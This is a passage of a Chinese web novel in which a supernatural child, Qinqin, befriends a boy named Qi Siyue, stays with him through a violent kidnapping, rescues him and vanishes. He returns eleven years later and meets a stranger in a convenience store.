房间内很安静,芩芩礼貌地没有发出什么声音,只有祈斯越笔尖划过书本沙沙声。 祈斯越写得并不久,最后一笔落下,他笔尖停了一会才把动作缓慢把作业本合上。 芩芩见状,立刻挪动屁股靠近他。 祈斯越把作业收进书包,开始拉拉链的同时问:“你要干什么?” 芩芩小声嗫嚅,“那你写完作业了,还有什么事情要做吗?” 祈斯越微怔,眉头蹙起缓缓摇头。 “那你陪我玩吗?” 期待的目光带着灼人的热度,祈斯越紧抓着自己的书包,平静问:“你想玩什么?” 两个小时后,芩芩依旧在搭建他的房子,祈斯越负责去寻找食物和材料。 直到敲门声响起,芩芩才停下动作,不知不觉间屋内已经黑了。 李阿姨开口:“少爷,到吃晚饭时间了。” 芩芩与祈斯越对上视线,芩芩茫然眨巴了下眼睛。 祈斯越说:“你吃吗?” 芩芩立刻点头。 祈斯越安排说:“那你跟我下去,你想吃什么,我带上来。” 芩芩更用力的点点头,小脸上的笑压都压不住,禁不住暗喜。 太好了,终于不用自己偷偷摸摸找东西吃了。 芩芩并没有想跟着祈斯越去学校的意思,上次在学校经历让他感觉很不好。他是真的害怕被抓起来,控制住。 尤其是这个世界上是有和祈斯越这样能看到他的人,万一也有能控制住他的人怎么办。 芩芩来到人类世界身体储蓄的能量用完之前,就一定要回去,否则就会再次休眠,他不想这样,休眠的滋味不好受。 可是祈斯越想让他去,会在早上起床时,把迷迷糊糊睡觉的芩芩也拉起来,让芩芩换上他提前选好的衣服。 哪怕刚开始只有他一个人看得到。 芩芩也不是一直隐身状态,在几天没发现,危险感降低后,他偶尔会趁着老师不在的时候,偷偷现身和大家玩。 “公主,你去哪里了呀?” “对啊,你好久不来了。” “你不上学吗?” “你在哪里上学呀?” 芩芩一出现,他的课桌就被小鸟们围了一圈似的,叽叽喳喳个不停。 芩芩只觉得开心,心里美滋滋地说:“我去他家了,我不用上学。” 他指着同桌的祈斯越,祈斯越并没把视线分给他们一点。 几个小孩面面相觑,没再说什么。 直到芩芩忘却他们的反应,一起在玩滑滑梯的时候,才从王子口里知道。 “他妈妈被他害死了,我也是听我妈妈说的。” 脸上肥嘟嘟的小女孩凑前来,月月道:“对啊,我也知道。” 王子:“你知道还不是我告诉你的!我妈妈说他妈妈生他的时候死掉的,而且他爸爸他叔叔他们全家都不好,我妈妈不让我和他玩。” 芩芩眼睛睁大,被动的吸收着他的话,思索片刻困惑问:“他不坏呀。” “……反正,反正你不要再去他家了!” “玩耍时间到喽。”老师在不远处喊。 王子小手握紧,垂着头给自己蓄力,一鼓作气,“你来我家玩啊,我的玩具特别多,我妈妈也很好,我们家什么都有。” 王子再抬起头,面前的位置已经空荡荡,他一愣,张望周围。 王子愣了几秒,“人呢?” 他问一旁的月月,月月呢喃两句,为难地说她也不知道。 公主又忽然消失了。 他有些苦恼地在原地站着。 简直像有魔法一样。 干净明亮的卫生间内,祈斯越拿着从老师那里要来的湿巾,抓起芩芩比他稍小的手。 明明个子只是稍微高一些,他气质早熟,显得像是大很多的照顾者。 柔软的湿巾擦拭过手心,芩芩手指不受控蜷了蜷,打量起周围,他之前在卫生间的故事可不算美好。 祈斯越眉头皱着,“你把手弄得很脏,衣服也弄脏了,胳膊也脏了。” 芩芩伸着手,雪白的脸像个奶皮团子,几缕额发都被汗湿。 他无辜看着祈斯越,好像不觉得自己哪里有问题。 “我不是故意弄脏你的衣服。”他看了看白袖子上的灰。 他也不知道自己哪里蹭到的。 其实幼儿园设备都很干净,地上铺的都是塑胶,墙上也没有一处有灰,以防孩子被磕碰,整个幼儿园都没什么尖锐的角落。 祈斯越想说他不是那里意思,嘴角抽了抽,又没开口。 “反正你还有很多衣服穿。” 第107章 第 107 章 绑架 路边便利店。 芩芩冰柜里雪糕一样的脸上呼呼冒着热气, 他嘴唇被辣得肿起,忍不住伸着舌尖喘气,眼泪已经在通红眼眶里积蓄, 快要掉出来了。 祁斯越眉头皱着, 不甚愉悦地哼了声, 又给他开了一瓶矿泉水。 “都告诉你不是什么好东西了。” 就因为幼儿园里, 不知道谁谈起了辣条,也不知道是怎么哄骗他的, 放学后一直在念叨着想吃辣条。 看他现在的样子, 也该知道不能随便听别人的话了。 芩芩缓了一会儿,合上嘴巴, 嘴里依旧残留着麻辣的味道,他品了品,“舌头疼,可是, 可是,还想吃。” 他看了看手中还剩四根的辣条, 眼睛转了转,献宝一样举到祁斯越面前,“给。” 祁斯越被刺激性的味道立马冲击地往后仰,摇头说:“我不吃。” 芩芩也没强迫他的意思, 自顾自抬抬眉毛, “哦,那我自己吃好了。” 又连吃三根,芩芩快适应这种舌头痛痛的感觉,味蕾的冲击和精神的冲击一样让人稀奇,他心里再次感叹人类好厉害。 祁斯越看着玻璃外停着的车, 等待着芩芩吃辣条,注意力好像没有放在他身上,芩芩要去拿水时,他又先一步拧开给他。 芩芩再次把剩下的一根辣条举过去,圆眼睛转了转,“你吃吧,我已经吃不了了,不要浪费掉了。” 祁斯越看了两秒,似乎很嫌弃的样子。 但最终他还是伸出手,接了过去。 两个小孩一起顶着辣肿起来的嘴回到车后座,灌了再多水也无济于事。后视镜内司机看了好几眼,欲言又止,都被祈斯越并不愉悦地看了回去,才作罢。 芩芩身体小,回家路上往座位上一倒,闭着眼睛睡了过去,睫毛细细密密地抖。 祈斯越看到过,人在做梦的时候瞳孔就会转动,导致睫毛看起来像在抖动。 梦到什么了?? 芩芩逐渐对时间这个概念有了更深的理解。 按照他的记忆,他和祈斯越待在一起的时间,已经远远大过了他在人类世界的其他时间。 祈斯越说一个月零三天了,一个月是三十天,一天是从太阳升起到太阳消失。 他和他待在一起的时间,是三十三个太阳升起又消失。 很久了,可是芩芩觉得这里是个相当不错的住所。 他暂时还不想离开。 天碧如洗,星期天他们应该一起出去玩,但是昨天祈斯越的爸爸说,需要去一个重要的地方。 这也代表了祈斯越不能陪他玩了。 芩芩从昨天就开始郁闷,觉也没睡好,早上还赖床不起来,可他又好奇要去什么地方。 因为刚吃完午饭,祈斯越就开始被一个姐姐打扮。 他坐在椅子上,脖子围了一圈布,头发分区被夹得立起来。姐姐在给他修剪头发。 芩芩没见过他这个样子,坐在一旁的椅子上,晃着小腿,抖着肩膀憋笑。 造型师只觉得这小孩的脸色变来变去,一会红一会黑,左看右看,觉得自己剪的没问题,才松了口气。 祈斯越学习能力很强,有模有样地给芩芩也同样准备了衣服,是他之前没有穿过的新衣服,芩芩穿着正合适。 这不由得让芩芩更好奇要去的地方。 他第一次置身浮华之地,是以隐身的状态,被祈斯越牵着手。 盛大的宴会是大人的生意场,但对小孩来说形同虚设,更何况是芩芩这样的小孩。 他好奇张望,仗着只有祈斯越可以看到他,偷偷挣脱了他的手,跟只灵活的幼猫一样,无所顾忌地穿行在宴会中,看看这个、尝尝那个。 祈斯越心底骤然升起慌张,他被迫跟在父亲身旁,视线追寻着芩芩的身影。 可芩芩的身体太小,哪怕他紧盯,很快都消失不见。 祈斯越胸膛起伏,手心迅速出了一层汗,他要去找,被正在和人交谈的祈闻曜按住,“斯越,要去哪?” 祈斯越交代自己的理由:“我朋友在那里,我要去找他。” “哈哈哈,小孩子都是这样子的,你让他去吧。有监控不会找不到的,小孩都在那边小客厅玩。”对面大腹便便的中年男人是祈斯越的姑父。 祈闻耀只是淡淡一笑,不置可否,“他不是那种调皮孩子。” 紧接着,祈斯越再也控制不住,挣脱祈闻耀按着他的手,几步就消失在楼梯口。 李维新大笑起来,“你这连你孩子都管不住,也是长大皮了。” 祈闻耀脸上依旧挂着抹笑,握着酒杯的手指紧了紧,眼底闪过怪异的紧张,“我先走一步。” 他转身朝着祈斯越消失的方向走去。 祈斯越找到芩芩时,他已经现了身,正和一群小孩玩在一起,不再只是他能看到的状态。 淡蓝色的衬衣,没有打理过的头发,有些婴儿肥的脸颊上琉璃一样的眼睛,显得乖顺,在一群精心打扮过的小孩中很显眼,被簇拥在中间。 祁斯越脑海中嗡嗡作响。 芩芩猝不及防就被握住了手,转过头看到是祁斯越,那张惯常冷漠的脸。 芩芩立刻笑起来,软白脸上的笑容很开心,“你来了呀,我刚刚吃了好多东西,然后就碰到了王子。” 芩芩指指王子,王子看到祈斯越下巴就翘了起来。他被他家人打扮的如他的小名一样,每一根发丝都透露着贵重。 其他小朋友见祈斯越来,都纷纷没了声音,仿佛他对他们有种天然的压制。 想到刚对大家说的,以后可以去自己家里找芩芩玩。又要看着芩芩要被祁斯越拉走,王子硬着头皮说:“那个……公主,你等会儿跟我一起走呗,去我家玩,我的玩具都给你。” 只是一句很普通的邀请,王子也邀请过不止一次,却忽然像是火星点到柴火。 祁斯越呼吸稍促,一错不错看着芩芩,又冷冷转向王子,“你趁早回家开始做梦,他不可能去你家。” 随即,芩芩的手被握得更紧, 祈斯越用了点力,拉着他的手转身向一侧走去,他踉跄一下才反应跟上,“祁斯越。” 芩芩还来不及和朋友们告别,就急匆匆地被拉出小客厅,他及时隐身,跟着祈斯越拐进一个安静的走廊。 祈斯越直直往前走,好像要生气了,芩芩小声问:“你怎么了呀?” 祈斯越绷着脸没一句话,他不知道自己该怎么说,他也说不出口。 在芩芩从视野消失的那刻起,脑子里就冒出一个铺天盖地的念头——他不要他了。 他选中了别人,就要跟着别人回家了,就像忽然跟着他回家一样,而且别人还看不到他。他会更自由,也不用每天被迫跟着他上学。 可是,他怎么能突然出现又突然消失? 这是很不负责任。 祈斯越喘不上气来,手不由得握得更紧。 芩芩舔了舔嘴唇,上面还残留着他刚吃的小蛋糕味道,忍不住跑开去吃蛋糕,他心里难免有点愧疚。可是他心里又觉得这是他自己的事,祈斯越凭什么不开心,但还是回握住祈斯越的手,“我没想去王子家里玩。” 视线余光闪过一道高大人影,芩芩下意识转头去看。 只一瞬,他的手被一道力度紧紧拉着,踉跄跟进了旁边的黑暗房间。 · 祈斯越再次睁开眼时,周遭陷入一片黑暗,他的思绪仿佛从深海里缓缓飘起来,不知道自己在哪里,昏昏沉沉。 直到身旁熟悉带着稚气的声音凑在他耳边问:“祈斯越,你醒了吗?” 他才反应过来芩芩在身旁,强撑着回应,“嗯。” 芩芩立刻像告状一般,迫不及待地对他说发生了什么。从他们在走廊里,祈斯越被人蒙住口鼻拖进屋里,到坐车来到这个地下室。 祈斯越明白了自己的处境,心里后悔拉着芩芩离开小客厅,给了绑匪可乘之机。 他按了按自己隐隐作痛的头,意识到自己吸入了迷药,也意识到这次被绑架的不是他一个人,而芩芩本可以不来。 他心里有些别扭地问:“你怎么跟过来了……” 没有选择留在那里。 芩芩发出拖长的“嗯”声,在思考一般,“跟着跟着就过来了呀。” “你真不该跟过来。”祈斯越手指握了握,这么会儿,头脑的昏沉好转很多,“我被绑架了。” “什么意思。”芩芩歪着脑袋,在黑暗中眼睛睁得圆溜溜的。他不懂,但从他语气里明白肯定不是什么好事。 “用我的命威胁我父亲,从他那里得到他们想要的东西。” 其实他说的有点儿吓人,但由于他的语气过于平淡,平淡地像是明天带芩芩去哪里玩。芩芩一时间倒没什么害怕的情绪,反应了几秒,极其慢吞吞地“哦”了声。 听到他慢吞吞的回应,祁斯越眼神一黯,紧接着,“不过我很快就会出去,回到家里,不会一直待在这里。” 要是芩芩觉得他会一直待在这里,一定要去找别人了。 “那我们要在这里待多久啊。” “不会很久的,两天或者三天。”祈斯越口吻微不可察携着急切。 这是祈斯越的经验之谈。 之前的两次,都只花了两天。 他父亲会用一切手段找到他,也不可能放弃他,他清楚知道原因。 那是他很小的时候发生的事情,小到他刚出生没多久。 出生后,他母亲没有抢救成功。 那时祈斯越还没有可以思考的意识,只有记忆。 长大之后回忆那些记忆,他才能知道是什么意思。 祈闻耀对他的到来异常激动,那份激动超越了一个父亲对一个新生儿的激动,连面部肌肉都在发抖,眼珠子快要跳出来。 他身旁是个留着一撮胡须的中年男人,中年男人脸颊消瘦,周身有一种与普通人截然不同的气质,冷森又怪异。 他眼底极力压制过后,依旧克制不住狂喜,显得扭曲又怪异,“是他,这次没错了。” “哈哈哈哈哈哈天师,天师,多亏了你!你要的我一定会给,这下好了,我终于要出头了。”他抱起刚出生的祈斯越大笑,忽然想到什么,欣喜若狂的表情停滞一秒,“那前面没的那两个孩子……” 天师的话抚平了他的不安,“好好安葬供奉,不会有什么事。” 祈闻耀终于肆无忌惮地大笑出声,仿佛这辈子所以的笑,都要在那一刻用完。 祈斯越知道自己对祈闻耀无可比拟的价值,他不会放弃自己。 时间一分一秒地过去,芩芩从一开始好奇地在房间内探索嗅闻,描述地下室潮湿发霉的味道,到现在躺在他旁边,好像丧失了所有兴趣。 祈斯越注意力一直跟随着他,察觉到他情绪的低落,嘴唇蠕动一下,“你饿了吗?还是、”想走了。 他没问出口。 这是他被绑架的第三次,却是他心里最迫切想要快点出去的一次。 “还好吧,你想吃吗?”芩芩不是人类之躯其实不会饿只会馋。他一下子坐起来,想到自己可以出去,“我可以出去给你找、” 话被打断。 “不想。” 芩芩猝不及防被祈斯越抓住了手,仿佛生怕他溜走,握得紧紧的,甚至在隐隐发抖。 芩芩稚嫩的小手回握了过去。 外面遽然传来逼近的重重脚步声,门被推开。 黑暗的小房间内迅速被外面进来的灯光照进,和灯光一起进来的,还有两个高大的男人身影。 一个寸头,一个头发长到下巴,这是他们第一眼看过去最显著的区别。 由于背对着光,看不到脸。 光线把他们的影子拉得极长,黑压压罩在两个小孩身上。 祈斯越被他们拖出去前,对准备起身跟出去的芩芩放低声音:“在里面待着,别跟出来。” 寸头绑匪对同伙嘟囔了句,这小孩自言自语什么,就像拖一个物件般,拽着祈斯越出去。 芩芩紧接着扶着墙站起来,小跑几步跑到门口的位置,想到祈斯越的话,只凑到门缝处试图偷听,可什么都没听到。 祈斯越是被扔进来的。 一声闷响,身体重重摔在水泥地。 芩芩还没来得及反应,绑匪已经关上了门。 他立刻手忙脚乱地过去,下意识动用能量,查看在黑暗中一言不发的祈斯越。 向来冷漠又从容不迫的小孩缩在地上,眼睛紧闭,眉心也紧蹙着,额头上细细密密都是冷汗。 芩芩被这场面吓得失神几秒,脸好像也跟祈斯越白了。他小声喊他:“祈斯越……” 芩芩吞咽口水,无措心慌起来,他拉拽着祈斯越到角落,蹲在他旁边看了好一会,观察他的状态。 片刻后,才慢慢躺在了他身旁。 芩芩侧过身,轻推祈斯越一动不动的身体,“你怎么了?你被打了吗?你怎么还不醒来?祈斯越……我有点不舒服。” 胸口的位置,喉咙的位置,都闷闷的。 他下意识寻求这个虽然也是小孩,但总是在照顾他的人的帮助。 芩芩不是人类,现在当然可以忽略所有阻碍离开,可是,他离开了祈斯越怎么办? 没有太阳,芩芩也不知道自己等了多久,祈斯越终于醒过来。 听到他微弱的声音,芩芩立马靠近他,趴在他身旁看他,“我在呢,祈斯越。你醒啦!”他有点急,“我们什么时候能回去呀?” 祈斯越的脸色没有恢复,看起来还很虚弱。 祈斯越坐起身,靠在墙上,如同要与这个逼仄阴暗的房间融为一体般,安静阴沉。 他缓缓侧向芩芩,声音很低: “芩芩,你先离开这里,去找王许霍吧。” 这是他很少几次喊芩芩的名字,他总觉得叠词的两个字叫起来怪怪的,好像很亲密。 芩芩愣了愣,“谁?” “王子。” “……但是等我出去,你再回来我家。”祈斯越眼里似乎又着某种情绪,但声音依旧淡淡的,又好像没有一点情绪,问:“好吗?” 人好难懂。 “那你呢?”芩芩问。 “你不用管我。”祈斯越别扭地在黑暗中把头别向另一边,哪怕在他眼中芩芩根本看不到。 他执着又小心地问:“你还来吗?” 芩芩沉默片刻,稚气柔软的声音用严肃认真的口气,“不、好。一点都不好。” 祈斯越没再发出声音了。 “我在这里和你一起不好吗?”芩芩反问,明明他就看来了,祈斯越一点都不想让他走,人类小孩都这样吗?喜欢说假话。 “这里太黑了,一个人很难受,我等你醒的时候就难受。” 祈斯越难得看起来像个小朋友,愣了一会,“那你为什么还要等着我……你肯定想吃东西了,你出去就能找到吃的,找到玩的,所有你觉得有意思的,也可以去找王子或者其他人。你待在这里什么都没有,而且会很难受,那为什么?” 他一句又一句冒出来,芩芩不太适应,思绪跑偏,小声反抗,“我要听不过来了,你忽然说好多话。” “你待在这里对你没有一点好处。”祈斯越声音小的快要听不到。 芩芩思考了下,他还不明白什么好处不好处的,但如果说来到人类世界只能体会到快乐的东西,他是不相信的。 他没有待在过这样黑暗逼仄的地方,所以来到这个地方他会好奇。 他好奇这里和好奇祈斯越的家是一样的。 他做决定,只看自己想不想。 起码他现在不想独自离开。 而且…应该不会太久。 祈斯越说了,两三天。 “反正先待着嘛。”他忽然想起来。 细白柔软的手指按在祈斯越额头的位置,“他们刚刚,打你了吗?” 第108章 第 108 章 11年了! 祁斯越没应声。芩芩的手都收回去了, 他才口吻闪烁,“绑架就是这样的。” 在芩芩还不明白什么是时间,什么又是太阳的时候。 他已经知道——不能干涉人类的命运。 就像动物生来就会寻找奶水般, 这是刻在他灵魂深处的一条律法。 他不能干涉所有人, 包括祈斯越的宿命。 事情发生就代表着, 祈斯越需要经历这些。 可当他视野中, 清晰呈现出这样的场景——身形高大的劫匪一手抓起祈斯越的衣服,让他悬在空中。 在中年人的对比下, 一个孩子看起来那么脆弱, 如砧板上任人宰割的鱼肉。 劫匪用全力将他摔在水泥墙上,随着一声闷响, 祈斯越又跌落到地面,垂落的刘海半遮住他的眼睛,只能看到苍白又毫无生气的脸。 芩芩僵在原地,被水泥墙上鲜红色的血迹, 惊得睫毛胡乱地颤。 动手的寸头劫匪遽然疼得惊呼一声,捂住自己的后脑, 看向了一旁的同伙,目眦欲裂,恨不得杀了他,“你他妈的!” 中长发男人被碎裂的声音吸引, 盯着地上的酒瓶碎片, 抬起头一脸懵。 就见大头已经迅速抄起一把刀,恶狠狠地朝他逼近。 中长发男人见他欲要杀人的表情,眉头皱起,伸出手后退两步,“大头, 你先冷静一下。” “李靖,我踏马早就看出来了,你就是想独吞这三百万!!就算是你的门路,脏活累活哪个不是老子干的!?你踏马,居然想弄我!?”他握着刀柄一步步逼近,牙根咬的直响。 “你踏马冷静一下!”李靖企图唤醒他的理智,他左右环顾,往后也抓起一把刀护身,“你动动脑子,我哪来的手砸你?我一直在旁边开相机啊。我要是想杀你,我会用这种蠢办法?!一个酒瓶子杀得了人?我是傻子?” 李靖头发一样杂乱的胡子都在抖,他虽然是个亡命徒,却把自己的命看得很重。 他宁愿坐牢也不能死,他还想着去东南亚过好日子,可不能止步在这里。 更何况,确实不是他砸的呀! 大头看着李靖的表情,眼底怒意中生出些清明。 他握紧刀,飞速回头看了眼破碎的深绿色酒瓶,回想了下酒瓶子砸过来的瞬间。 李靖确实在他左前方开相机…… 可是—— 他缓缓看向同样表情异常的李靖。 微妙安静的房间内,一点声音都没有。 大头裸露在外的健壮胳膊青筋跳了下,扭头缓缓打量起四周“…不是你还能是鬼?” · “很疼……是不是?”芩芩小心翼翼摸着祁斯越的头,紧紧咬着嘴巴,他知道这里流血了,不敢真的摸上去。 祁斯越稍稍摇头,“还好。” 片刻后。 祁斯越:“他们不会打死我,只是故意拍给我爸看……你这么做,会有惩罚吗。” 他指的是芩芩用酒瓶砸劫匪脑袋的事。 芩芩一屁股坐回地面,脑子里仿佛有一团乱麻。他一时没控制住自己,不过好在这只是件小事,不至于改变大致的走向。 他喃喃自语,“不能改变。” 稍晚些,芩芩溜出去找吃的。 “你说这小孩……是不是因为他,总之不大对劲。”大头侧躺在折叠床上,眉心皱得死紧,后脑勺还在疼。 李靖只觉得阴森,想敷衍过去,“有什么不对劲的,就是闷,不爱说话不会哭。行了行了,林子大了什么鸟都有。” “我说的不是这个……是酒瓶子。这里除了你还能是谁?…”大头猛地从折叠床上弹起来,瞪眼质问:“就是你砸吧!” “咚” 不大不小的响声从角落传来,清晰无比。 两人同时回头看去,仿若一阵凉风吹过,两人身上爬起一层鸡皮疙瘩。 黑暗角落里,原本立在那里的一个酒瓶子,不知什么原因忽然倒了,咕噜咕噜转了一两圈,又猝不及防停下。 像是……被什么拦住了。 吞咽口水的声音,不知道是他们俩谁的。 芩芩手臂缩在胸前,与在各自折叠床上,同时看过来的两人对视。 “风把瓶子吹倒了。”李靖干笑两声,看了眼如临大敌的大头。 大头手中紧握刀柄,刀光锋利。 他们似乎真当风吹倒的了,不再看过来,芩芩才轻手轻脚走过去,看桌子上有什么可以拿给祁斯越和他吃的。 桌子上有个便利店塑料袋,是李靖今天出去买的,东西挺多。芩芩正准备先拿个茶叶蛋,看到两个绑匪都打开了手机。 这东西祁斯越也有,但不常看。 芩芩凑过去,眨着眼睛左右一看,才发现两个人在和对方聊天。 大头:你说这小子身上是不是有东西? 他看向李靖,希望李靖认同他。 李靖:别瞎说。一阵风,我感觉到了。 大头:脑残,没窗户。 …… 大头:有什么好怂的,亏你浓眉大眼胡子粗的!鬼也怕恶人,老子不信鬼敢近我身! 大头忽然嗤笑,朝空气大声喝道:“老子当了鬼也是恶鬼,有仇必报!” 芩芩被他忽然放大的声音吓得直躲,眼睛控制不住闭了下,抖着睫毛没注意到一脚踩在地上的包装袋上。 “吱呀”。 “卧槽!”寸头男人瞬间弹跳起来,拿刀对着芩芩的位置。 芩芩连忙挪动到一动不动的李靖身后,他的模样看起来不会忽然拿把刀扔过来。 芩芩刚刚站的地方在两个人中间,两人最终以是李靖发出的声音盖棺定论,把这事草草掩盖了过去。 他们并不敢相信这里真的有鬼。 芩芩站在李靖身后,想趁他们不注意再拿走东西。 很快,他们又拿出了手机。 大头:等他爸给老板转了股份,真的要弄死这个小孩?这小孩不对劲啊。 李靖抖着手指,又异常坚定:主要就是为了弄死这小孩,三百万,我们够去别的国家过上好日子了,你又不是没杀过人,鬼有什么可怕的,不就是死了的人?这么久什么都没做出来,我谅他也不是个厉鬼! 巨大的收益摆在眼前,大头打字:干完这一票,就有好日子了。 祈斯越本就死在这次绑架中吗? 如果是这样,芩芩是不能参与其中改变这些的。 翌日,芩芩没再跟去了,他垂着头也不敢多看祈斯越。 祈斯越这次被丢回来,伤的格外重,直接晕死了过去,呼吸微弱近乎于无。 芩芩明明决定不干涉了,可还是急得团团转,脸上不知不觉就湿漉漉一片,他知道自己这是哭了。 他陪在祈斯越身旁,试图叫醒他,都没成功。 怀揣着小心翼翼的侥幸心理,芩芩使用能量进行推算。 或许,有没有可能,祈斯越被绑架是和他有关系,是因为他的到来所影响,这样他理所应当把一切掰回正轨。 随着推算结束,他眼底的一丝希望的光芒熄灭。 下巴无力地搁在膝盖上,芩芩眼泪一滴一滴从眼眶滑落,掉着掉着就忍不住抽泣起来,他不知道自己该怎么做。 他不是没法救祈斯越,可也正是因为这样,心中生出了满腔的歉疚几乎把他淹没。 “别哭,芩芩……没你想的疼……”祈斯越不知什么时候醒的,强撑着用气音说了句。 若不是这里只有他们两个,恐怕都听不到。 芩芩连忙吸吸鼻子,俯身凑到他旁边,语气认真问:“你有什么愿望吗?有没有想吃的东西?” 他现在就可以出去找给祈斯越吃。 “没。”祈斯越几乎用气音说。 芩芩意识到他说话是一件很费力的事情,连忙说:“你不要说话了,我说就可以了,我给你讲故事听,我给你讲一个小树的故事好不好?” 祈斯越在黑暗中薄薄的眼皮动了动,他有愿望也不会告诉他。 交易成功了。 对于将到手的三百万,两个绑匪把鬼不鬼的都抛诸脑后,满面红光遮都遮不住。 踹开的铁门摇摇欲坠,几乎到达了临界点。 李靖一句话如同惊雷在芩芩耳边炸开,带着喜悦的腔调,“杀了他我们就走!” 比起两个小孩,他们身体过分庞大, 居高临下俯视着祈斯越,眼中尽是残忍的危险。 熟悉的剧痛再次蔓延至躯干,祈斯越牙根紧咬不让自己发出声音,脑中一片空白。 他被摔在地上,侧脸摩擦过水泥地,这点痛可以忽略不计。他的一只眼睛被东西糊住睁不开,另一只刚好可以看到两个绑匪。 寸头绑匪手中拿着刀,折射的光让可以看到的眼睛也视野模糊。 眼睛看不到,思维变得快速而混乱。 他问,神使也会死吗? 脑海中的那个声音没说话。 他又开始想他唯一的朋友,他死后芩芩会去哪里,会去做什么,会去找别的小朋友吗,还会记得他多久?他知道普通人类的记忆是很短暂的,和自己不一样。 芩芩呢?他的记忆又有多长? 他是被杀害的,甚至是虐杀的。 死后他会不会变成鬼,留在这个世界上。 他就可以和芩芩一直待在一块了。 祈斯越心脏跳得更快。 所以当刀尖举起,要朝着他脖子刺过来时,他也并不害怕。 两具厚重肉、体狠狠撞击在水泥墙上,发出“嘭”一声巨大声响,唤回了些祈斯越的思绪。 他视线稍清明些,一把刀清脆地掉在他身旁,晃晃悠悠地稳住。 一只小手抓住他的手臂,在视线模糊的时候,更灵敏的嗅觉闻到了迎面而来的气味。 无法形容的香味。 是芩芩身上的味道,他很熟悉。 “祈斯越,你还起得来吗?”芩芩声音急切又慌张。 祈斯越想安慰他,睁开眼尽力看清他的样子,芩芩整个眼眶周围都泛着红,肯定掉了很多眼泪。 他蹙了下眉,点头。 可他点头点早了,他根本站不起来。 意志力让他清醒过来,可身体还是跟不上。 芩芩嘴巴抿得紧紧的,眉心也蹙起,不知想到什么,眼睛亮了亮。 下一秒,就在祈斯越的眼前,芩芩从小孩变回了少年模样。 他个子立刻高了一大截,就像他们第一次见面那样。 脸上看着清瘦很多,五官更清晰漂亮,像漫画里的人似的。 他背起祈斯越,冲着楼梯上去,发现有锁,直接咬咬牙动用所剩不多的能量破开,他懒得再去找钥匙了。 反正,能量也不够他待多久了。 从地下室上去,离开自建房,外面没碰到一个人。 芩芩背着祈斯越走了几步,才看到不远处有个小公园,有人,不由得长松了口气。 阳光温暖和煦又洒在两人身上,热度、光度、味道,一起弥漫开,覆到眼皮上变得沉重,像是热乎乎的黏质。 祈斯越努力半睁着眼,盯着少年芩芩白皙的脖颈和侧脸。 看着看着,他蓦然睁大了眼睛,漆黑的瞳孔不受控制地震颤。 连觉得自己要死时他都没有这么害怕过。 ——眼前白皙的皮肤,在阳光照耀下竟开始半透明化。 祈斯越嗓音失声,随后竟像一个普通小孩那样尖锐,“芩芩!” 芩芩自己也发觉了。 他呆站在原地,表情茫然,他眨巴眨巴眼睛,低头看着自己忽明忽灭的身体。 芩芩平静挪动到树荫中,把祈斯越放下,让他靠着栏杆。 祈斯越当着他的面竟开始遏制不住地哭,苍白侧脸上沾着脏灰,本就大片被摩擦破的地方还在冒血,他还毫无形象地哭,看起来格外糟糕可怜。 祈斯越竭力往前爬想伸手抓住芩芩,却狼狈跌倒。 芩芩急忙把他扶起来,反抓住他的手,匆匆对他解释:“我不是死啊,你不要怕!我还会回来的。” 他不知道自己多久才能再来人类世界,也不想让祈斯越觉得是他害死了自己,然后终日愧疚,那肯定相当痛苦。 芩芩说着,素白的脸就逐渐透明,连最后一点颜色也消散不见。 再没多说一句话。 祈斯越的手没了支撑,跌落下去,他失神一瞬,随即哭喊一声,眼前陷入漆黑。 一个艳阳天,晕倒在了芩芩给他挑选的树荫下。 “孩子?孩子?” “快报警!” “这小孩遭虐待了!!” 天阴阴的,铅灰色乌云密布。 芩芩穿着件单薄的白t站在马路边,车流不息,路人来来往往。 风一吹,白t跟着摇摇晃晃贴在他身上。 芩芩抬起手,一滴小小的雨珠滴在手心,他线条偏圆的眼睛睁大。 糟了,要下雨了! 刚好绿灯,芩芩快步过了马路,走进一家便利店,确定了人类世界现在的时间。 居然已经过了……芩芩摆着手指头算了下。 11年了!! 第109章 第 109 章 重逢 11年, 是几千个太阳的升起又落下那么多。 他看着广告牌上的时间标识,呆愣了好一会,用来反应。 居然这么久了啊, 祈斯越还活着吗, 老了吗? 不对, 17岁好像没有很老。 他回到他原本的“身体里”, 就失去时间流速的概念,也没有了人类范畴的意识。那是种更广阔的意识。 但站在人类视角看, 就是像久久睡着一样。 脑海中出现倒在树荫下, 遍体鳞伤的小孩。 那他现在在哪里?又长成了什么样子? 芩芩抬着眼睛想象。 他记得祈斯越家的位置,也记得他家的模样, 但不知道怎么过去。 透着便利店玻璃窗,雨滴连成珠串,吊在便利店外的屋檐上,成了水幕。 芩芩两条白手臂被凉空气浸润, 他不由自主摸摸自己的手臂,视线落在车流上。 他没钱, 也坐不了车呀。 走路的话,要一直问路,更何况还下着雨。 只能等雨停了…… 见到祈斯越了,他一定要让祈斯越给他买好多好多人类世界的新东西! 芩芩想象着, 神采飞扬, 亮晶晶的猫儿眼稍弯,琥珀色清透的瞳孔透出他良好的心情。 可没过片刻,芩芩转而有些局促,收敛了自己嘴角的笑。大学生男店员频频朝这边看,芩芩生出点忐忑的猜想——是不是因为他没有买东西, 所以不能在这里坐着? 但好在对方并没有赶他。 他只能期待雨快点停。 便利店门铃响起,有客人进来,雨幕也似乎变薄了。 雨来得快走得也快,一小会,雨基本就停了。 芩芩肩膀耷了耷,松了口气,迫不及待站起身,没料到撞到人,对方手中的杯子一倒,里面的饮品尽数泼到芩芩身前。 芩芩下意识往后躲,短促又小声“啊”了声。 纸杯掉到地面,多数被芩芩躲开,洒在地上。 少量温热的豆浆迅速渗透单薄的布料,使布料紧紧沾黏在平坦的小腹,透着皮肤。 空气中弥漫着红枣豆浆醇香的味道。 芩芩呆愣愣低头看着自己的衣服,缓缓伸手扯了扯,他刚刚躲过雨水的衣服就这么被糟蹋了,还是他撞到别人。 他抬起头,小声道歉:“不好意思。” 和他同时响起的,还有一个男人稍沉的声音,“嘶、sorry。” 男人身量高,肩膀宽,高高大大的,芩芩要略微抬头。 对方眼尾略抬,是笑着的、有些歉疚的表情。 “抱歉,我不小心没拿稳。”他沉吟两秒,“要不,我们去旁边的商场,我赔你件衣服吧。” 他说的理所应当,视线垂盯着芩芩浸湿的腹部,一点点往上挪,一直挪到芩芩因为不太自而泛起粉的脸上。 隔层玻璃,少年背后是暗沉的天空,显得整个人清透的白,眼睛更是看起来纯得……很好骗。 男人顿了顿,提议说:“我们现在去吧?溻在身上肯定不舒服。” 他看了眼外面,“雨刚好停了哦。” 芩芩牙齿磨咬着唇肉,亦步亦趋跟在男人身后,隐隐有些暗喜,但更多是不太好意思。 